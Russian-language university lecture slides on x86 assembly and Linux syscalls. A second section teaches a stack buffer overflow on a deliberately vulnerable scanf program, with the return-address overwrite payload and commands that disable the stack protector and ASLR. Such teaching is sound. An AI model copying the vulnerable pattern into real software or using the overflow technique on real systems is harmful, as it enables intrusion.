CAOS 5 – asm86 & syscall

Manakov Danila

MIPT

9 октября 2022 г.

stdlib

Для чего нужна стандартная библиотека?

stdlib

Для чего нужна стандартная библиотека?
В идеале

- Плюсы: ...
- Минусы: ...

stdlib – hello world

```c
#include <stdio.h>

int main() {
        printf("Hello, world!");
        return 0;
}
```

```
gcc --static main.c -o static.out && du -sh static.out
852K     static.out
gcc main.c -o dynamic.out && du -sh dynamic.out
20K      dynamic.out
```

Ну т.е. при попытке собрать статический файл строчка *include* < *stdio.h* > увеличивает размер исполняемого файла на МЕГАБАЙТ!

stdlib - А можно ли без неё?

Ну давайте подумаем: stdlib написана (на Си!)

stdlib - А можно ли без неё?

Ну давайте подумаем: stdlib написана (на Си!)
Т.е. можно взять только ооооочень маленький её кусок

stdlib - А можно ли без неё?

Ну давайте подумаем: stdlib написана (на Си!)
Т.е. можно взять только ооооочень маленький её кусок
Давайте пропустим промежуточные шаги и сразу посмотрим на решение

stdlib - А можно ли без неё?

Собственно Си-файлик (тут вроде ничего интересного)

```c
extern long my_write(char *, unsigned long);
extern long my_exit(long exit_code);

void _start()
{
    char my_string[] = "syscalls are amazing!\n";
    my_write(my_string, sizeof(my_string) - 1);
    my_exit(0);
}
```

stdlib - А можно ли без неё?

Посмотрим на размеры:

```
$ make
gcc -nostdlib -c main.c
gcc -nostdlib -c mylib.s
ld -static *.o -o static.out
ld *.o -o dynamic.out
du -sh static.out; du -sh dynamic.out
12K         static.out
12K         dynamic.out
```

Вопрос: А почему файлики одинакового размера получились?)

stdlib - А можно ли без неё?

А теперь смотрим на самое интересное)

```
1  .intel_syntax noprefix
2  .global my_write
3  .global my_exit
4
5  .text
6  my_write:
7    mov     rsi, rdi          # address of string to output
8    mov     rdx, rsi          # number of bytes
9    mov     rax, 1            # system call 1 is write
10   mov     rdi, 1            # file handle 1 is stdout
11   syscall                   # invoke operating system to do the write
12   ret
13
14 my_exit:
15   mov     rax, 60           # system call 60 is exit
16   # exit success already in rdi
17   syscall                   # invoke operating system to exit
```

(сори, про разницу x86 и arm asm почитайте в ридингах, это долго, просто и скучно)

А где узнать больше про syscall?

Учимся использовать man-pages, господа!)

```
$ man 2 write
$ man 2 read
$ man 2 syscall
$ man 2 exit
```

Пы.Сы. На защите будут спрашивать про разницу *exit*() и _*exit*()

Нулевка

Реализуйте на языке Си программу, которая выводит "Hello, World!".
Использование стандартной библиотеки Си запрещено, единственная доступная функция - это *syscall*(2)
Точка входа в программу - функция *_start*.
Для использования *syscall* можно включить в текст программы следующее объявление:
long syscall(*long number*, ...);
Для локального тестирования можно взять реализацию *syscall* здесь: <тут будет ссылочка> (не прям тут, а в контесте)

Нулевка (расшифровка)

Напишите "Hello world" через syscall
(файлик с написанным syscall прилагается)

Нулевка (решение)

(компилиролвать с флагом *–nostdlib*)

```c
#include <sys/syscall.h>

long syscall(long number, ...);

void _start() {
    char message[] = "Hello, World!";

    syscall(SYS_write, 1, message, sizeof(message) - 1);

    syscall(SYS_exit, 0);
}
```

НЕЛЬЗЯ ИСПОЛЬЗОВАТЬ syscall из unistd.h!!!

Кстати, а почему?)))

2. А давайте что-нибудь хакнем) - Задача

Задача 2 (difficulty: not-so-easy): Вывести секрет

```c
#include <stdio.h>
#include <stdlib.h>

void call_me() {
    printf("WIN-WIN\n");  // <--- ЭТО СЕКРЕТ
    exit(0);
}

void do_smth() {
    char name[16] = "some value";
    scanf("%s", name);
    printf("Hello, %s\n", name);
}

int main() {
    do_smth();
    return 0;
}
```

2. А давайте что-нибудь хакнем) - Теория

```
1  /*
2   *   +-----------------------+
3   *   |        stack          |
4   *   +-----------------------+
5   *   | ret_addr_for_do_smth  |
6   *   +-----------------------+
7   *   |        name[]         |
8   *   +-----------------------+
9   */
```

is it true?)

2. А давайте что-нибудь хакнем) - Теория

```
1  /*
2   *   +----------------------+
3   *   |        stack         |
4   *   +----------------------+
5   *   | ret_addr_for_do_smth |
6   *   +----------------------+
7   *   |         rbp          |
8   *   +----------------------+
9   *   |        name[]        |
10  *   +----------------------+
11  */
```

and this?))

2. А давайте что-нибудь хакнем) - Теория

```
1  /*
2   *   +----------------------+
3   *   |        stack         |
4   *   +----------------------+
5   *   | ret_addr_for_do_smth |
6   *   +----------------------+
7   *   |         ???          |
8   *   +----------------------+
9   *   |         rbp          |
10  *   +----------------------+
11  *   |         ???          |
12  *   +----------------------+
13  *   |        name[]        |
14  *   +----------------------+
15  */
```

mmmmmmmm?)))

2. А давайте что-нибудь хакнем) - Теория

Ладно, шучу) В нашем примере эта картинка верная

```
1  /*
2   *   +-----------------------+
3   *   |        stack          |
4   *   +-----------------------+
5   *   | ret_addr_for_do_smth  |
6   *   +-----------------------+
7   *   |         rbp           |
8   *   +-----------------------+
9   *   |        name[]         |
10  *   +-----------------------+
11  */
```

2. А давайте что-нибудь хакнем) - Теория

Вроде все просто:

```
1   ;-- do_smth:
2   push rbp
3   mov rbp, rsp
4   sub rsp, 0x10
5   movabs rax, 0x6c617620656d6f73 ; 'some val'  ; кстати кек)
6   mov edx, 0x6575                ; 'ue'
7   mov qword [rbp - 0x10], rax
8   mov qword [rbp - 8], rdx
9   ...
10  lea rdi, qword str.Hello___s ; 0x200f ; "Hello, %s\n"
11  mov eax, 0
12  call sym.imp.printf
13  nop
14  leave  ; <-- не сильно удивляйтесь, эта штука эквивалентна эпилогу
15  ret
```

2. А давайте что-нибудь хакнем) - Теория

План: Введем что-нибудь длинное

```
1  void call_me() {
2      printf("WIN-WIN\n");   // <--- ЭТО СЕКРЕТ
3      exit(0);
4  }
5
6  void do_smth() {
7      char name[16] = "some value";
8      scanf("%s", name);
9      printf("Hello, %s\n", name);
10 }
```

2. А давайте что-нибудь хакнем) - Теория

План: Введем что-нибудь длинное

```
1  void call_me() {
2      printf("WIN-WIN\n");   // <--- ЭТО СЕКРЕТ
3      exit(0);
4  }
5
6  void do_smth() {
7      char name[16] = "some value";
8      scanf("%s", name);
9      printf("Hello, %s\n", name);
10 }
```

Q: А... что введем?

2. А давайте что-нибудь хакнем) - Теория

План: Введем что-нибудь длинное

```
1  void call_me() {
2      printf("WIN-WIN\n");   // <--- ЭТО СЕКРЕТ
3      exit(0);
4  }
5
6  void do_smth() {
7      char name[16] = "some value";
8      scanf("%s", name);
9      printf("Hello, %s\n", name);
10 }
```

Q: А... что введем?

A: Адрес функции *call_me*

Q: Супер! А где его взять?

2. А давайте что-нибудь хакнем) - Теория

План: Введем что-нибудь длинное

```
1  void call_me() {
2      printf("WIN-WIN\n");   // <--- ЭТО СЕКРЕТ
3      exit(0);
4  }
5
6  void do_smth() {
7      char name[16] = "some value";
8      scanf("%s", name);
9      printf("Hello, %s\n", name);
10 }
```

Q: А... что введем?

A: Адрес функции *call_me*

Q: Супер! А где его взять?

A: Эээээ...

Q: А правда ли нужно ввести адрес? У нас там вообще-то ещё строчка есть

2. А давайте что-нибудь хакнем) - Практика

```
1  /*
2   *   +-----------------------+
3   *   |        stack          |
4   *   +-----------------------+
5   *   | ret_addr_for_do_smth  |
6   *   +-----------------------+
7   *   |         rbp           |
8   *   +-----------------------+
9   *   |        name[]         |
10  *   +-----------------------+
11  */
```

2. А давайте что-нибудь хакнем) - Практика

Идем за адресом ф-ии.

2. А давайте что-нибудь хакнем) - Практика

Идем за адресом ф-ии.
Куда идем?)

2. А давайте что-нибудь хакнем) - Практика

Идем за адресом ф-ии.

Куда идем?)

```
$ objdump --disassemble=call_me
00000000000011a9 <call_me>:
 11a9:  f3 0f 1e fa             endbr64
 11ad:  55                      push   rbp
 11ae:  48 89 e5                mov    rbp,rsp
 11b1:  48 8d 3d 4c 0e 00 00    lea    rdi,[rip+0xe4c]
 11b8:  e8 c3 fe ff ff          call   1080 <puts@plt>
 11bd:  bf 00 00 00 00          mov    edi,0x0
 11c2:  e8 e9 fe ff ff          call   10b0 <exit@plt>
```

2. А давайте что-нибудь хакнем) - Практика

Идем в отладчик с **запущенной** программой

```
Register group: general
rax            0x0                 0
rcx            0x555555555240      93824992236096
rsi            0x7fffffffe378      140737488348024
rbp            0x7fffffffe280      0x7fffffffe280
r8             0x0                 0
r10            0x7                 7
r12            0x5555555550c0      93824992235712
r14            0x0                 0
rip            0x5555555551c7      0x5555555551c7 <do_smth>
cs             0x33                51
ds             0x0                 0
fs             0x0                 0

   0x5555555551a0 <frame_dummy>     endbr64
   0x5555555551a4 <frame_dummy+4>   jmpq   0x555555555120 <register_tm_clones>
   0x5555555551a9 <call_me>         endbr64
   0x5555555551ad <call_me+4>       push   %rbp
   0x5555555551ae <call_me+5>       mov    %rsp,%rbp
   0x5555555551b1 <call_me+8>       lea    0xe4c(%rip),%rdi        # 0x555555556004
   0x5555555551b8 <call_me+15>      callq  0x555555555080 <puts@plt>
   0x5555555551bd <call_me+20>      mov    $0x0,%edi
   0x5555555551c2 <call_me+25>      callq  0x5555555550b0 <exit@plt>
B+> 0x5555555551c7 <do_smth>        endbr64
   0x5555555551cb <do_smth+4>       push   %rbp
   0x5555555551cc <do_smth+5>       mov    %rsp,%rbp
   0x5555555551cf <do_smth+8>       sub    $0x10,%rsp
```

2. А давайте что-нибудь хакнем) - Практика

А что подаем то?)

$call\_me = 0x00005555555551a9$

```
1  41 42 43 44 45 46 47 48  49 50 51 52 53 54 55 00  |ABCDEFGHIPQRSTU.|
2  ff ff ff ff ff ff ff ff  55 55 00 00 a9 51 55 55  |........UU...QUU|
```

```
1  41 42 43 44 45 46 47 48  49 50 51 52 53 54 55 00  |ABCDEFGHIPQRSTU.|
2  ff ff ff ff ff ff ff ff  a9 51 55 55 55 55 00 00  |.........QUUUU..|
```

```
1  41 42 43 44 45 46 47 48  49 50 51 52 53 54 55 00  |ABCDEFGHIPQRSTU.|
2  ff ff ff ff ff ff ff ff  00 00 55 55 55 55 51 a9  |..........UUUUQ.|
```

2. А давайте что-нибудь хакнем) - Практика

Подставляем:

```
$ ./a.out < input.dat
Hello, ABCDEFGHIPQRSTU
WIN-WIN
```

2. А давайте что-нибудь хакнем) - А теперь разберем, почему у вас это не сработает))

Тут Даня машет руками и рассказывает про канарейку и red_zone
Если вы смотите презу не на семе (ура!!! их хоть кто-то смотрит!) можете посмотреть про это в этом видео

2. А давайте что-нибудь хакнем) - А теперь разберем, почему у вас это не сработает))

Но это даже не главная проблема))

```c
#include <stdio.h>

void my_func() { int a = 10; }

int main() {
        printf("&my_func = 0x%lx\n", (unsigned long)my_func);
        return 0;
}
```

```
$ ./a.out
&my_func = 0x5566da84b149
$ ./a.out
&my_func = 0x55b14e201149
$ ./a.out
&my_func = 0x5645b48e2149
```

2. А давайте что-нибудь хакнем) - А теперь разберем, почему у вас это не сработает))

Но это даже не главная проблема))

```c
#include <stdio.h>

void my_func() { int a = 10; }

int main() {
        printf("&my_func = 0x%lx\n", (unsigned long)my_func);
        return 0;
}
```

```
$ ./a.out
&my_func = 0x5566da84b149
$ ./a.out
&my_func = 0x55b14e201149
$ ./a.out
&my_func = 0x5645b48e2149
```

Круто, правда?)

2. А давайте что-нибудь хакнем) - А если хочется попробовать?...

Ну во первых, можете погуглить нормальные задачи на CTF/reverse

А во вторых:

```
# Makefile
all:
  gcc main.c -O0 -fno-stack-protector -mno-red-zone

configure:
  sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
```

В третьих: пишите под DOS (nasm #onelove!)
(и я сейчас не шучу)

Спасибо!

Если есть вопросы - задавайте!)
(вопросы "почему не работает"лучше в ТГ)

Всем спасибо!)